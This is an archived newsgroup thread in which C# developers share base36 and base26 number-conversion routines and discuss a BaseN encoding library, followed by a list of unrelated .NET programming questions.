> > > >> Blog: http://weblogs.asp.net/justin_rogers
> > > >>
> > > >>
> > > >> "Justin Rogers" <EMail@HideDomain.com> wrote in message
> > > >> news:EMail@HideDomain.com...
> > > >> > Code-Only: Arbitrary alphabet encoding (aka BaseN encoding) for
> base2
> > > > through
> > > >> > base36.
> > > >> >
> > > >> > The notes are extensive as to the direction the library may or
may
> > not
> > > > go
> > > >> > depending on what
> > > >> > problems people are trying to solve. What I've realized is that
> there
> > > > are a
> > > >> > number of additional
> > > >> > and interesting problems associated with alphabet encoding, such
as
> > > >> > permuations, cyclic
> > > >> > rotations, error correction, and the like that may be interesting
> to
> > > > build
> > > >> > into the libraries. An
> > > >> > example of an error correction alphabet would be the base32
> encoding
> > > > which
> > > >> > removes
> > > >> > characters that may be confused for other characters when read by
a
> > > > human.
> > > >> >
> > > >> >
> > > >> > --
> > > >> > Justin Rogers
> > > >> > DigiTec Web Consultants, LLC.
> > > >> > Blog: http://weblogs.asp.net/justin_rogers
> > > >> >
> > > >> > "Roy Fine" <EMail@HideDomain.com> wrote in message
> > > >> > news:EMail@HideDomain.com...
> > > >> >> William
> > > >> >>
> > > >> >> The other base was base 26 and used *just* the uppercase
> alphabetic
> > > >> >> characters (A..Z). The only change would be to specify the
token
> > set
> > > > of the
> > > >> >> number set and the weights of each position. For the Base26
case,
> > it
> > > > was
> > > >> >> this:
> > > >> >>
> > > >> >> /* ***************** */
> > > >> >> public class BASE32{
> > > >> >> static string tokens = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> > > >> >> static long [] powers =
> > > >> >>
> > > >
> >
>
{1L,26L,26L*26L,26L*26L*26L,26L*26L*26L*26L,26L*26L*26L*26L*26L,26L*26L*26L*
> > > >> >>
> > > >
> >
>
26L*26L*26L,26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L,26L*
> > > >> >>
> > > >
> >
>
26L*26L*26L*26L*26L*26L*26L*26L,26L*26L*26L*26L*26L*26L*26L*26L*26L*26L,26L*
> > > >> >> 26L*26L*26L*26L*26L*26L*26L*26L*26L*26L};
> > > >> >> ...
> > > >> >> ...
> > > >> >> }
> > > >> >> /* ***************** */
> > > >> >>
> > > >> >> conversion is each direction is based on the tokens and powers
> > arrays.
> > > > the
> > > >> >> first entry in the tokens aray always corresponds to the empty
or
> > zero
> > > >> >> value, etc.
> > > >> >>
> > > >> >> happy to help
> > > >> >> roy
> > > >> >>
> > > >> >>
> > > >> >> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> > > >> >> news:u$EMail@HideDomain.com...
> > > >> >>> Hey thanks a lot Roy. Care to post the other base as well?
> Either
> > > > way,
> > > >> >>> thanks again!!
> > > >> >>>
> > > >> >>> --
> > > >> >>> William Stacey, MVP
> > > >> >>> http://mvp.support.microsoft.com
> > > >> >>>
> > > >> >>> "Roy Fine" <EMail@HideDomain.com> wrote in message
> > > >> >>> news:#EMail@HideDomain.com...
> > > >> >>> > William,
> > > >> >>> >
> > > >> >>> > this is something that i did some time ago - actually for a
> > > > different
> > > >> >>> base,
> > > >> >>> > but it was easy enough to change to handle base32.
> > > >> >>> >
> > > >> >>> > you did not specify the symbol set for your number base - i
> will
> > > > assume
> > > >> >>> > 0,1,2,3... X,Y,Z. if yours is different, change the tokens
> > string
> > > >> >>> > accordingly.
> > > >> >>> >
> > > >> >>> > for performance reasons, the weights of the digits are
computed
> > at
> > > >> >> compile
> > > >> >>> > time.
> > > >> >>> >
> > > >> >>> > note - there is absolutely no error checking, and it handles
> only
> > > >> >> positive
> > > >> >>> > values, and assumes that all character codes are upper case.
> > > >> >>> >
> > > >> >>> > regards
> > > >> >>> > roy fine
> > > >> >>> >
> > > >> >>> >
> > > >> >>> > namespace CONVERSION{
> > > >> >>> > // handles positive only values up to
> 4,738,381,338,321,616,896 -
> > 1;
> > > >> >>> > public class BASE32{
> > > >> >>> > static string tokens =
"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
> > > >> >>> > static long [] powers =
> > > >> >>> >
> > > >> >>>
> > > >> >>
> > > >
> >
>
{1L,36L,36L*36L,36L*36L*36L,36L*36L*36L*36L,36L*36L*36L*36L*36L,36L*36L*36L*
> > > >> >>> >
> > > >> >>>
> > > >> >>
> > > >
> >
>
36L*36L*36L,36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L,36L*
> > > >> >>> >
> > > >> >>>
> > > >> >>
> > > >
> >
>
36L*36L*36L*36L*36L*36L*36L*36L,36L*36L*36L*36L*36L*36L*36L*36L*36L*36L,36L*
> > > >> >>> > 36L*36L*36L*36L*36L*36L*36L*36L*36L*36L};
> > > >> >>> >
> > > >> >>> > public static string ToString(long lval){
> > > >> >>> > int maxStrLen = powers.Length;
> > > >> >>> > long curval = lval;
> > > >> >>> > char [] tb = new char[maxStrLen];
> > > >> >>> > int outpos = 0;
> > > >> >>> > for(int i=0; i<maxStrLen; i++){
> > > >> >>> > long pval = powers[maxStrLen - i - 1];
> > > >> >>> > int pos = (int)(curval / pval);
> > > >> >>> > tb[outpos++] = tokens.Substring(pos,1).ToCharArray()[0];
> > > >> >>> > curval = curval % pval;
> > > >> >>> > }
> > > >> >>> > if(outpos==0) tb[outpos++] = '0';
> > > >> >>> > return new string(tb,0,outpos).TrimStart('0');
> > > >> >>> > }
> > > >> >>> >
> > > >> >>> > public static long ToLong(string t){
> > > >> >>> > long ival = 0;
> > > >> >>> > char [] tb = t.ToCharArray();
> > > >> >>> > for(int i=0; i<tb.Length; i++){
> > > >> >>> > ival += powers[i]*tokens.IndexOf(tb[tb.Length-i-1]);
> > > >> >>> > }
> > > >> >>> > return ival;
> > > >> >>> > }
> > > >> >>> > }
> > > >> >>> > }
> > > >> >>> >
> > > >> >>> > "William Stacey [MVP]" <EMail@HideDomain.com> wrote in
> message
> > > >> >>> > news:uc3%EMail@HideDomain.com...
> > > >> >>> > > Anyone have a c# Base10ToBase36 and Base36ToBase10
conversion
> > > >> >> routines?
> > > >> >>> > TIA
> > > >> >>> > >
> > > >> >>> > > --
> > > >> >>> > > William Stacey, MVP
> > > >> >>> > > http://mvp.support.microsoft.com
> > > >> >>> > >
> > > >> >>> >
> > > >> >>> >
> > > >> >>>
> > > >> >>
> > > >> >>
> > > >> >
> > > >> >
> > > >>
> > > >>
> > > >
> > > >
> > >
> > >
> >
> >
>
|
| |
|
| |
 |
Roy

|
Posted: Sun Nov 07 21:49:49 CST 2004 |
Top |
Visual C#.Net >> Base36
> Lawyer just laughed and noted that such jargon would not make this
> any more legally binding than me walking up to you on the street and
> telling you that I'd copyrighted your name and you were no longer
> allowed to be called Roy. Sorry you took it out of scope.
>
And I was just getting used to being called Roy... :)
|
| |
|
| |
 |
| |
 |
Index ‹ DotNet ‹ Visual C#.Net |
- Next
- 1
- Visual C#.Net >> building rotor 2.0Dear All,
I have extended the JScript compiler in rotor. Some of my code is added
to the JScript classes and some of my code is new classes and I have put
these in a new namespace "mynamespace" but all the code is in the
directory jscript. I have no problem building the code in the
jscript\engine directory. In particular, I can use the
Microsoft.JScript namespace in mynamespace and I can use mynamespace in
the files that are part of the Microsoft.JScript namespace.
The problem occurs when the build moves into the jscript\jsc directory
and it finds a Using mynamespace directive for which it cannot find a
reference.
I have looked in
C:\rotor\sscli20\binaries.x86chk.rotor\bin\rotor_x86\rotor_x86\Microsoft
.JScript.dll and it contains my code from the jscript\engine including
code from mynamespace.
From what I understand of the build process, the compiler is looking in
C:\rotor\sscli20\binaries.x86chk.rotor\ref\Microsoft.JScript.dll to
resolve references but in this file there is none of my code and no
mention of mynamespace.
I'd be grateful for any ideas.
Mohammad Alshriadeh
Computer Science Department(Neat Group)
The University of Hull
Hull
United Kingdom
HU6 7RX
Tel: 01482-465253
*** Sent via Developersdex http://www.developersdex.com ***
- 2
- Microsoft Project >> MS Project 2003 viewers (Freeware)Does anyone know of a freeware Project 2003 viewer other than Steelray
I have users that need to view MS Project 2003 formatted but cant. Saving
the Project 2003 file in Project 98 format causes a loss of formatting and
useless. Please let me know of any recommendations.
Thanks
- 3
- Visual C#.Net >> custom controlhi i am rajendra i am posting my first question to this group i have
doubt from last few days .i want to clear it
why we need user control and wher should we use it,and the execution
of the user defined control. please let me know
- 4
- 5
- Net Framework >> POS SystemI would like to create a Point Of Sale System. Is there a website that sells
the interface between a POS Cash register and .NET?
Thanks for the help
- 6
- Winforms >> normal multiline editor.Visual C++ 2005 Express
MVP's and experience programmer's only please!...
I need to get the number of lines in a textbox so I can insert them into a
listview. The text comes from my database and is unformatted. I display the
text to my user in the listview. The textbox I create logically in the
program, and I initialize the correct properties for a normal multiline
editor.
When the user changes the column size then I reload the lines accordinally.
The problem I am having is when I get the lines property which is a
array<^>^(). The lenght is always 1 no matter how many lines are in the
textbox.
In MFC when the lines are wraped the new line character is automattically
inserted, but here it's not.
Can you help me solve this problem? I would really appreciate it!
Thanks!...
--
Eric Miller
- 7
- ADO >> TableAdapter not updating table if the table is empty when loaded?I am having problems with the table adapter not updating (inserting a new
record) the sql server table if I open the form with out any records already
in the sql server table.
If I add on record in sql server management studio, the the table adapter
will work correctly, but there has to be at least on record.
What is going on??
There are not any exceptions being thrown.
I checked the table adapter commands (delete, insert, select, update) and
they match the other table adapter that are working correctly. (just
different fields and parameters)
What else can I check for?
Thanks
- 8
- 9
- ADO >> Close not closing...I've written a small app which has 2 buttons.
The 1st button goes away to a directory full of SQL Scripts, and then
runs them against the database.
The 2nd button has code to do some modifications to the database,
looking like the code below:
_______________________________________________________________________
_________
string connectionString;
connectionString =
Properties.Settings.Default.DatabaseConnectionString + databaseName;
// create a new SqlConnection object with the appropriate
connection string
SqlConnection sqlConn = new
SqlConnection(connectionString);
try
{
// open the connection
sqlConn.Open();
// create the command object
SqlCommand sqlComm = new SqlCommand(SQLCommands,
sqlConn);
sqlComm.ExecuteNonQuery();
// close the connection
sqlConn.Close();
MessageBox.Show("Operation Completed");
}
_______________________________________________________________________
_________
One of the scripts run from the script folder Drops a user, and then
Re-Creates them.
If I hit the script button first, then everything works fine.
However if I run the code button first, and then hit the script
button, an exception is thrown
saying that the user can not be dropped since they are currently
logged in!
I'm guessing I'm missing something, but it appears the Close method on
the sqlConnection object isn't
actually closing the connection...
Terminating the application and starting again resets the problem,
however there is nothing in
the dispose methods which would do that.
I've tried exchanging Close for Dispose but it made no difference.
Any help would be appreciated.
Cheers
Chris.
saying that a user is
- 10
- Winforms >> Visual Studio - Debug Error FormI am looking to see if someone has created that form that pops up in VS when
you hit an error during debug. The one with the error info, the connector
line to the line causing the error and can be dragged around.Anyone know
where I can find info on recreating this?
Thanks,
Brian
- 11
- ADO >> Deleting In Strongly typed DatasetHi All!
After a long time for trying understand how strongly typed dataser
work, I've finaly success. Except on the delete command. When I do some
deleting, it only delete record from the dataset but not from the database.
I've try many thing but I turn arround. I paste you the code I use.
Me.cnAlbums.Open()
Dim Row As DsAlbums.PhotoRow =
Me.DsAlbums.Photo.FindByPhotoId(CInt(Me.lblPhotoId.Text))
Me.DsAlbums.Photo.RemovePhotoRow(Row)
Me.UpdateFlag = False
Me.DaPhoto.Update(Me.DsAlbums, "Photo") ' There is where it's suppose to
delete..?
Me.UpdateFlag = True
Me.cnAlbums.Close()
Sorry for my english but I'm french and I didn't get any response on the
french newsgroup
Thank a lot,
Francois
- 12
- Dotnet >> Building DataSets using SQL Servers MetaDataHi all.
Using Visual Studio VB.NET and SQL Server 2000.
When I drag tables from the SQL Server Explorer into a dataset I am building
I get the table, fieldnames and types. But, why doesn't it put in relations,
defaults and all the other information from the SQL Server. It takes time to
do this in VS when it is already done on the SQL Server. When I build a
diagram in SQL Server all this information gets there automaticly, but not
in VS.NET. Are there som settings I am missing here? We do have some
datasets with lots of tables and relations, constraints, defaults....
Thanx all.
gh
- 13
- Visual C#.Net >> How to use the base keyword to call a base class method (not a constructor)Hello,
I have read that the base keyword can be used not only to control a base
class instantiation (thus calling one of the base class constructors) but
also to access any other public or protected method in the parent class ...
I have search all over for an example of how to do this but have failed.
What I was wondering is about the syntax necessary to make such a call .....
Thx..
Bob Rock
- 14
- Visual C#.Net >> CollectionBase problemHi,
i have a windows application.
This application uses a object that its of type collectionbase.
For other hand i have a ListBox, and i use this collection to fill it.
I have implemented the methods (in my class that derives from collection
base):
//to get an element from collection
public type of object Get_(int index)
{
return (type of object) List[index]
}
//to add into collection
public void Add_(type of the object object)
{
List.Add(object)
}
//to remove from collection
public void Remove_(type of the object object)
{
List.Remove(object)
}
I dont know if my steps are correctly:
1) when application loads i fill the collection, and i fill the listbox with
the collection.
2) When a person clicks in a item i get the object from the collection with
the index (ListBox.SelectedIndex)
3) i remove from collection this object that i got in the step 2.
4) i assign the datasource of the listbox to null
5) i remove from the listbox the item selected
6) i assign the datasource of the listbox the collection (with the item
removed in step 3)
When i execute the application, and i delete an item, all goes correctly
except when i delete the last.... In this case (deleting the last item) the
application deletes it, but when i selected another item, i get an Error of
type IndexOutOfRange exception....
Questions:
1) What could be the problem?
2) Its my logic to do this wrong?
3) Generally this kind of stuff are made following this way?
Any advice would be appreciated...
--------
Thanks
Regards.
Josema
- 15
- Winforms >> Where do forms get the default icon from?I've replaced App.ico and it appears to have worked at the application level
but my forms haven't updated. Presuming I needed to change the icon on the
forms I started replacing them. But in the course of looking at some of the
forms and their associated resources, I discovered there were absolutely no
references to any icons in those files.
This raises the question, where do the forms get their default icon from? I
would have hoped they'd simply change to reflect the application icon by
default but that is obviously not the case.
Any ideas?
Thanks,
Doug Harber
|
|
|